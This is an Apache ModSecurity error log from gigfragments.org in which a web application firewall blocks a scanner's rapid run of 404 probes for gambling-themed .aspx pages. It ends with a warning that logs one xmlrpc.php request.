[Sat Feb 28 15:42:36.281711 2026] [:error] [pid 39292:tid 39316] [client 159.195.61.80:56238] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aaKcbKIAO5fN7BxyqcEI8AAAANY"]
[Sat Feb 28 15:42:38.267767 2026] [:error] [pid 39292:tid 39301] [client 159.195.61.80:56246] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aaKcbqIAO5fN7BxyqcEI8QAAAMc"]
[Sat Feb 28 15:42:40.252596 2026] [:error] [pid 49763:tid 49770] [client 159.195.61.80:56250] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aaKccLTHSOG_yf2PpqG_4wAAAcQ"]
[Sat Feb 28 15:42:42.092813 2026] [:error] [pid 39183:tid 39213] [client 159.195.61.80:56262] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aaKcchCf4HvhVePw3LYKcgAAABU"]
[Sat Feb 28 15:42:44.073546 2026] [:error] [pid 49763:tid 49784] [client 159.195.61.80:56274] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aaKcdLTHSOG_yf2PpqG_6AAAAdI"]
[Sat Feb 28 15:42:46.052211 2026] [:error] [pid 11791:tid 11796] [client 159.195.61.80:46710] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aaKcdmuX5e1Q32gqxH1pgQAAAQM"]
[Sat Feb 28 15:42:48.031198 2026] [:error] [pid 39185:tid 39259] [client 159.195.61.80:46712] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aaKceBVE-FfM89u7BQZd7gAAAI0"]
[Sat Feb 28 15:42:50.016575 2026] [:error] [pid 39184:tid 39219] [client 159.195.61.80:46722] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aaKceltZF9Zd_U7easADWwAAAEA"]
[Sat Feb 28 15:42:52.007032 2026] [:error] [pid 22194:tid 22208] [client 159.195.61.80:46734] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aaKcfH6mbajs3bzQGytrBQAAAUw"]
[Sat Feb 28 15:42:53.993521 2026] [:error] [pid 39183:tid 39198] [client 159.195.61.80:46736] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aaKcfRCf4HvhVePw3LYKfgAAAAY"]
[Sat Feb 28 15:42:55.972569 2026] [:error] [pid 39185:tid 39262] [client 159.195.61.80:52642] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aaKcfxVE-FfM89u7BQZd-wAAAJA"]
[Sat Feb 28 15:42:57.950772 2026] [:error] [pid 49763:tid 49784] [client 159.195.61.80:52644] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aaKcgbTHSOG_yf2PpqHAAgAAAdI"]
[Sat Feb 28 15:42:59.932686 2026] [:error] [pid 39184:tid 39239] [client 159.195.61.80:52652] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaKcg1tZF9Zd_U7easADiQAAAFQ"]
[Sat Feb 28 15:43:01.913969 2026] [:error] [pid 49763:tid 49786] [client 159.195.61.80:52668] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aaKchbTHSOG_yf2PpqHAEAAAAdQ"]
[Sat Feb 28 15:43:03.901683 2026] [:error] [pid 39184:tid 39224] [client 159.195.61.80:52670] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aaKch1tZF9Zd_U7easADkwAAAEU"]
[Sat Feb 28 15:43:05.885413 2026] [:error] [pid 49763:tid 49790] [client 159.195.61.80:58624] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aaKcibTHSOG_yf2PpqHAHQAAAdg"]
[Sat Feb 28 15:43:07.868402 2026] [:error] [pid 11791:tid 11793] [client 159.195.61.80:58630] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aaKci2uX5e1Q32gqxH1plAAAAQA"]
[Sat Feb 28 15:43:09.696875 2026] [:error] [pid 39183:tid 39200] [client 159.195.61.80:58640] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aaKcjRCf4HvhVePw3LYKngAAAAg"]
[Sat Feb 28 15:43:11.682818 2026] [:error] [pid 49763:tid 49781] [client 159.195.61.80:58642] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aaKcj7THSOG_yf2PpqHANwAAAc8"]
[Sat Feb 28 15:43:13.501723 2026] [:error] [pid 39184:tid 39219] [client 159.195.61.80:58652] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aaKckVtZF9Zd_U7easADrwAAAEA"]
[Sat Feb 28 15:43:15.486121 2026] [:error] [pid 39184:tid 39224] [client 159.195.61.80:52180] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aaKck1tZF9Zd_U7easADtQAAAEU"]
[Sat Feb 28 15:43:17.470499 2026] [:error] [pid 49763:tid 49780] [client 159.195.61.80:52194] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aaKclbTHSOG_yf2PpqHAWwAAAc4"]
[Sat Feb 28 15:43:19.302487 2026] [:error] [pid 39184:tid 39237] [client 159.195.61.80:52206] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aaKcl1tZF9Zd_U7easADwgAAAFI"]
[Sat Feb 28 15:43:21.284650 2026] [:error] [pid 39184:tid 39232] [client 159.195.61.80:52220] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aaKcmVtZF9Zd_U7easADzQAAAE0"]
[Sat Feb 28 15:43:57.184151 2026] [:error] [pid 49763:tid 49768] [client 159.195.61.80:52232] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaKcvbTHSOG_yf2PpqHBMQAAAcI"]
[Sat Feb 28 15:43:59.117141 2026] [:error] [pid 39292:tid 39297] [client 159.195.61.80:42828] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaKcv6IAO5fN7BxyqcEJJAAAAMM"]
[Sat Feb 28 15:44:01.098730 2026] [:error] [pid 39183:tid 39216] [client 159.195.61.80:42842] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aaKcwRCf4HvhVePw3LYK5QAAABg"]
[Sat Feb 28 15:44:02.926644 2026] [:error] [pid 39183:tid 39202] [client 159.195.61.80:42846] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aaKcwhCf4HvhVePw3LYK8AAAAAo"]
[Sat Feb 28 15:44:04.912428 2026] [:error] [pid 39292:tid 39301] [client 159.195.61.80:42990] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaKcxKIAO5fN7BxyqcEJMQAAAMc"]
[Sat Feb 28 15:44:06.897765 2026] [:error] [pid 39183:tid 39207] [client 159.195.61.80:43004] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aaKcxhCf4HvhVePw3LYK9AAAAA8"]
[Sat Feb 28 15:44:08.734913 2026] [:error] [pid 49763:tid 49781] [client 159.195.61.80:43012] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aaKcyLTHSOG_yf2PpqHBVwAAAc8"]
[Sat Feb 28 15:44:10.720699 2026] [:error] [pid 39183:tid 39207] [client 159.195.61.80:43026] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aaKcyhCf4HvhVePw3LYLCQAAAA8"]
[Sat Feb 28 15:44:12.699684 2026] [:error] [pid 39184:tid 39240] [client 159.195.61.80:43040] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aaKczFtZF9Zd_U7easAElgAAAFU"]
[Sat Feb 28 15:44:14.530484 2026] [:error] [pid 11791:tid 11803] [client 159.195.61.80:57496] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aaKczmuX5e1Q32gqxH1pyAAAAQo"]
[Sat Feb 28 15:44:16.510791 2026] [:error] [pid 49763:tid 49768] [client 159.195.61.80:57500] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aaKc0LTHSOG_yf2PpqHBcwAAAcI"]
[Sat Feb 28 15:44:18.504811 2026] [:error] [pid 39184:tid 39226] [client 159.195.61.80:57510] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aaKc0ltZF9Zd_U7easAExQAAAEc"]
[Sat Feb 28 15:44:20.335910 2026] [:error] [pid 49763:tid 49772] [client 159.195.61.80:57514] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aaKc1LTHSOG_yf2PpqHBkQAAAcY"]
[Sat Feb 28 15:44:22.472995 2026] [:error] [pid 39184:tid 39230] [client 159.195.61.80:57520] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aaKc1ltZF9Zd_U7easAEzQAAAEs"]
[Sat Feb 28 15:44:24.449761 2026] [:error] [pid 39183:tid 39209] [client 159.195.61.80:41474] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aaKc2BCf4HvhVePw3LYLGwAAABE"]
[Sat Feb 28 15:44:26.428670 2026] [:error] [pid 52460:tid 52464] [client 159.195.61.80:41482] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aaKc2rLWOogAgHGh62SgoQAAAYE"]
[Sat Feb 28 15:44:28.407804 2026] [:error] [pid 49763:tid 49784] [client 159.195.61.80:41492] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aaKc3LTHSOG_yf2PpqHBvAAAAdI"]
[Sat Feb 28 15:44:30.237906 2026] [:error] [pid 39184:tid 39238] [client 159.195.61.80:41494] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aaKc3ltZF9Zd_U7easAE7wAAAFM"]
[Sat Feb 28 15:44:32.222273 2026] [:error] [pid 49763:tid 49784] [client 159.195.61.80:41508] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aaKc4LTHSOG_yf2PpqHB3wAAAdI"]
[Sat Feb 28 15:44:34.202223 2026] [:error] [pid 39292:tid 39297] [client 159.195.61.80:41520] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaKc4qIAO5fN7BxyqcEJWgAAAMM"]
[Sat Feb 28 15:44:36.181750 2026] [:error] [pid 39183:tid 39198] [client 159.195.61.80:52254] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aaKc5BCf4HvhVePw3LYLMwAAAAY"]
[Sat Feb 28 15:44:38.162214 2026] [:error] [pid 49763:tid 49770] [client 159.195.61.80:52258] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aaKc5rTHSOG_yf2PpqHB_wAAAcQ"]
[Sat Feb 28 15:44:40.141298 2026] [:error] [pid 39185:tid 39258] [client 159.195.61.80:52260] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aaKc6BVE-FfM89u7BQZebgAAAIw"]
[Sat Feb 28 15:44:42.130730 2026] [:error] [pid 49763:tid 49786] [client 159.195.61.80:52274] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aaKc6rTHSOG_yf2PpqHCGQAAAdQ"]
[Sat Feb 28 15:44:44.112769 2026] [:error] [pid 39292:tid 39315] [client 159.195.61.80:52276] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaKc7KIAO5fN7BxyqcEJaAAAANU"]
[Sat Feb 28 15:44:45.949105 2026] [:error] [pid 39184:tid 39234] [client 159.195.61.80:46528] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aaKc7VtZF9Zd_U7easAFDQAAAE8"]
[Sat Feb 28 15:44:47.931745 2026] [:error] [pid 52460:tid 52481] [client 159.195.61.80:46540] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aaKc77LWOogAgHGh62SgsAAAAZI"]
[Sat Feb 28 15:44:49.911298 2026] [:error] [pid 39184:tid 39226] [client 159.195.61.80:46548] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aaKc8VtZF9Zd_U7easAFGwAAAEc"]
[Sat Feb 28 15:44:51.891246 2026] [:error] [pid 39183:tid 39209] [client 159.195.61.80:46554] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aaKc8xCf4HvhVePw3LYLUQAAABE"]
[Sat Feb 28 15:44:53.869707 2026] [:error] [pid 39292:tid 39317] [client 159.195.61.80:46560] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aaKc9aIAO5fN7BxyqcEJdwAAANc"]
[Sat Feb 28 16:35:00.050931 2026] [:error] [pid 39292:tid 39300] [client 138.199.35.10:52532] [client 138.199.35.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.35.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaKotKIAO5fN7BxyqcEX8QAAAMY"]
